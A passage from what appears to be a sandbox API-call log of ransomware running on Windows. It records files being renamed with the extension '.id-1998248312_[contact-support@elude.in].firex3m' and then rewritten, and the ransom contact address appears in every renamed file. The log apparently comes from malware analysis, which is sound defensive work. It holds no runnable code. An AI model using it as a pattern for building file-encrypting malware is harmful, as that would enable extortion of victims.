lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0234.111] CloseHandle (hObject=0x70c) returned 1 [0234.111] GetProcessHeap () returned 0x630000 [0234.111] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3920 | out: hHeap=0x630000) returned 1 [0234.111] GetProcessHeap () returned 0x630000 [0234.111] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f41b8 | out: hHeap=0x630000) returned 1 [0234.111] GetProcessHeap () returned 0x630000 [0234.111] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0235.166] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.166] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x517dd40e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c0, dwReserved0=0x687fd20, dwReserved1=0x6f41b8, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d4e40 [0235.166] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0235.166] Sleep (dwMilliseconds=0x1) [0235.183] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x687ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\toastbeginupgradeth2.xml") returned 1 [0235.183] GetProcessHeap () returned 0x630000 [0235.183] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5094) returned 0x6fe3bb0 [0235.183] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hu-hu\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0235.183] CloseHandle (hObject=0x4bc) returned 1 [0235.183] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.184] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hu-hu\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hu-hu\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.184] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.184] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5580 [0235.184] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0235.185] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hu-hu\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0235.185] GetProcessHeap () returned 0x630000 [0235.185] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3ad8 [0235.185] GetProcessHeap () returned 0x630000 [0235.185] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3c90 [0235.185] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.185] ReadFile (in: hFile=0x4bc, lpBuffer=0x6f3ad8, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3ad8*, lpNumberOfBytesRead=0x687ff0c*=0x180, lpOverlapped=0x0) returned 1 [0235.187] GetProcessHeap () returned 0x630000 [0235.187] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0235.188] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.188] WriteFile (in: hFile=0x4bc, lpBuffer=0x6f3c90*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3c90*, lpNumberOfBytesWritten=0x687ff0c*=0x180, lpOverlapped=0x0) returned 1 [0235.188] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.188] WriteFile (in: hFile=0x4bc, lpBuffer=0x6f3e0f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3e0f*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.188] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.188] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.188] CloseHandle (hObject=0x4bc) returned 1 [0235.188] GetProcessHeap () returned 0x630000 [0235.188] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3c90 | out: hHeap=0x630000) returned 1 [0235.188] GetProcessHeap () returned 0x630000 [0235.188] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3ad8 | out: hHeap=0x630000) returned 1 [0235.188] GetProcessHeap () returned 0x630000 [0235.188] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0235.188] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.188] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52224fab, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c0, dwReserved0=0x687fd20, dwReserved1=0x6f3ad8, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5040 [0235.189] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0235.189] Sleep (dwMilliseconds=0x1) [0235.263] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x687ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\toastbeginupgrade.xml") returned 1 [0235.263] GetProcessHeap () returned 0x630000 [0235.263] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5074) returned 0x6fe3bb0 [0235.263] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fi-fi\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0235.264] CloseHandle (hObject=0x4bc) returned 1 [0235.264] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.264] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fi-fi\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fi-fi\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.265] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.265] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ecad633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x250, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d51c0 [0235.265] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0235.265] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fi-fi\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0235.265] GetProcessHeap () returned 0x630000 [0235.265] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7040 [0235.265] GetProcessHeap () returned 0x630000 [0235.265] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d8708 [0235.265] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.266] ReadFile (in: hFile=0x4bc, lpBuffer=0x6d7040, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7040*, lpNumberOfBytesRead=0x687ff0c*=0x240, lpOverlapped=0x0) returned 1 [0235.331] GetProcessHeap () returned 0x630000 [0235.331] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318210 [0235.331] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.331] WriteFile (in: hFile=0x4bc, lpBuffer=0x6d8708*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d8708*, lpNumberOfBytesWritten=0x687ff0c*=0x240, lpOverlapped=0x0) returned 1 [0235.331] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.331] WriteFile (in: hFile=0x4bc, lpBuffer=0x6d8947*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d8947*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.331] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.332] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.332] CloseHandle (hObject=0x4bc) returned 1 [0235.332] GetProcessHeap () returned 0x630000 [0235.332] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d8708 | out: hHeap=0x630000) returned 1 [0235.332] GetProcessHeap () returned 0x630000 [0235.332] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7040 | out: hHeap=0x630000) returned 1 [0235.332] GetProcessHeap () returned 0x630000 [0235.332] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318210 | out: hHeap=0x630000) returned 1 [0235.332] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.332] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ecad633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5237c170, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x274, dwReserved0=0x687fd20, dwReserved1=0x6d7040, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5200 [0235.332] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0235.332] Sleep (dwMilliseconds=0x1) [0235.403] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x687ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\toastreviewsettings.xml") returned 1 [0235.403] GetProcessHeap () returned 0x630000 [0235.403] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x504c) returned 0x6fe3bb0 [0235.403] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-za\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0235.403] CloseHandle (hObject=0x4e8) returned 1 [0235.404] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.404] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-za\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-za\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.404] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.405] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fc6c | out: lpFindFileData=0x687fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d53c0 [0235.405] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0235.405] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-za\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0235.405] GetProcessHeap () returned 0x630000 [0235.405] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3768 [0235.405] GetProcessHeap () returned 0x630000 [0235.405] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f41b8 [0235.405] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.405] ReadFile (in: hFile=0x4e8, lpBuffer=0x6f3768, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3768*, lpNumberOfBytesRead=0x687ff0c*=0x180, lpOverlapped=0x0) returned 1 [0235.407] GetProcessHeap () returned 0x630000 [0235.407] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0235.407] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.408] WriteFile (in: hFile=0x4e8, lpBuffer=0x6f41b8*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f41b8*, lpNumberOfBytesWritten=0x687ff0c*=0x180, lpOverlapped=0x0) returned 1 [0235.408] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.408] WriteFile (in: hFile=0x4e8, lpBuffer=0x6f4337*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4337*, lpNumberOfBytesWritten=0x687ff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.408] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.408] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x687ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x687ff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.408] CloseHandle (hObject=0x4e8) returned 1 [0235.408] GetProcessHeap () returned 0x630000 [0235.408] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f41b8 | out: hHeap=0x630000) returned 1 [0235.408] GetProcessHeap () returned 0x630000 [0235.408] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3768 | out: hHeap=0x630000) returned 1 [0235.408] GetProcessHeap () returned 0x630000 [0235.408] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0235.408] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.409] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x687fcc4 | out: lpFindFileData=0x687fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5243ac98, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c0, dwReserved0=0x687fd20, dwReserved1=0x6f3768, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d51c0 [0235.409] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0235.409] Sleep (dwMilliseconds=0x1) [0235.522] SysReAllocStringLen (in: pbstr=0x687ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x687ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\toastbeginupgradeth2.xml") returned 1 [0235.522] GetProcessHeap () returned 0x630000 [0235.522] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5038) returned 0x6fe3bb0 [0235.522] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-us\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0235.523] CloseHandle (hObject=0x4bc) returned 1 [0235.523] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x687ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.523] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-us\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program 